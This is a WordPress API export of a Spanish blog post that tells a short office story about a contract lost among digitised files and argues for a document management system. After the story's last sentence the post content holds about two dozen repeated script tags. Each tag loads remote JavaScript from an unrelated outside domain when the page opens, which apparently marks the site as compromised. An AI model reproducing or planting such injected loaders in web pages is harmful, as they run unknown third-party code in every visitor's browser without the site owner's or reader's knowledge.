{"id":448,"date":"2011-04-25T15:12:06","date_gmt":"2011-04-25T13:12:06","guid":{"rendered":"http:\/\/www.blocument.com\/?p=448"},"modified":"2026-03-20T06:26:23","modified_gmt":"2026-03-20T11:26:23","slug":"un-gestor-documental-pero-para-que","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/un-gestor-documental-pero-para-que\/","title":{"rendered":"Un gestor documental\u2026 pero \u00bfpara qu\u00e9?"},"content":{"rendered":"<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/04\/Documentos1.jpg\"><img loading=\"lazy\" class=\"alignleft size-full wp-image-452\" title=\"Documentos\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/04\/Documentos1.jpg\" alt=\"\" width=\"339\" height=\"402\" srcset=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/04\/Documentos1.jpg 662w, https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/04\/Documentos1-768x910.jpg 768w, https:\/\/www.adapting.com\/wp-content\/uploads\/2011\/04\/Documentos1-600x711.jpg 600w\" sizes=\"(max-width: 339px) 100vw, 339px\" \/><\/a><\/p>\n<p><em>[Una conversaci\u00f3n t\u00edpica en una oficina t\u00edpica]\n<\/em><br \/>\n-Necesito que me entregues el contrato firmado que te ped\u00ed el otro d\u00eda \u2013 indic\u00f3 con cierta impaciencia el director.<\/p>\n<p>Tem\u00eda ese momento, pues llevaba 4 d\u00edas buscando el dichoso contrato y no hab\u00eda manera. Al principio rebusc\u00f3 por las carpetas compartidas del servidor, pero no hubo forma: rastreando entre las decenas de carpetas que le sonaban, primero, y haciendo uso del \u201cbuscador\u201d de Windows, despu\u00e9s. Luego lo intent\u00f3 en su propio equipo, pues all\u00ed guardaba muchos documentos para, as\u00ed evitarse el martirio de encontrar algo en el servidor. Finalmente les pidi\u00f3 a los inform\u00e1ticos que le restauraran la copia de seguridad de los ficheros del servidor, por si hab\u00eda suerte, pero nada, segu\u00eda sin aparecer.<\/p>\n<p>Se arm\u00f3 de valor y le cont\u00f3 sus pesquisas al director, que mentalmente comenz\u00f3 a calcular las horas de trabajo que hab\u00eda supuesto la b\u00fasqueda infructuosa de aquel contrato.<\/p>\n<p>-\u00bfPero si nosotros digitalizamos todos los documentos para evitarnos el engorro del papel?- razon\u00f3 en voz alta.\u00a0Ya no le hizo falta escuchar la r\u00e9plica, comenzaba a comprender muchas cosas que ocurr\u00edan en la empresa desde que tomaron la decisi\u00f3n de digitalizar todos los documentos: aquellas demoras incomprensibles en entregar un documento solicitado; las repetidas modificaciones en la estructura de carpetas, porque costaba mucho encontrar ciertos documentos o la cara de terror que adivinaba cada vez que solicitaba un documento; si hasta a \u00e9l le costaba un mundo encontrar sus ficheros.<\/p>\n<p>Comprendi\u00f3 que intentando solucionar un problema (el l\u00edo de papeles amontonados por todas partes), hab\u00edan creado otro (el caos de archivos en la mara\u00f1a de carpetas y subcarpetas del servidor) y que segu\u00edan siendo ineficientes y segu\u00edan perdiendo documentos, ya que aunque el contrato estuviera digitalizado en el servidor, si no eran capaces de encontrarlo, era como si estuviera perdido y lo peor, tras haber estado busc\u00e1ndolo durante horas. Ahora m\u00e1s que nunca, necesitaban un gestor documental.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/usa';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[Una conversaci\u00f3n t\u00edpica en una oficina t\u00edpica] -Necesito que me entregues el contrato firmado que te ped\u00ed el otro d\u00eda \u2013 indic\u00f3 con cierta impaciencia el director. Tem\u00eda ese momento, pues llevaba 4 d\u00edas buscando el dichoso contrato y no hab\u00eda manera. Al principio rebusc\u00f3 por las carpetas compartidas del servidor, pero no hubo forma: [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":452,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[243],"tags":[58,66],"amp_validity":null,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/448\/"}],"collection":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/"}],"about":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/types\/post\/"}],"author":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/users\/3\/"}],"replies":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/comments\/?post=448"}],"version-history":[{"count":24,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/448\/revisions\/"}],"predecessor-version":[{"id":14919,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/448\/revisions\/14919\/"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/media\/452\/"}],"wp:attachment":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/media\/?parent=448"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/categories\/?post=448"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/tags\/?post=448"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}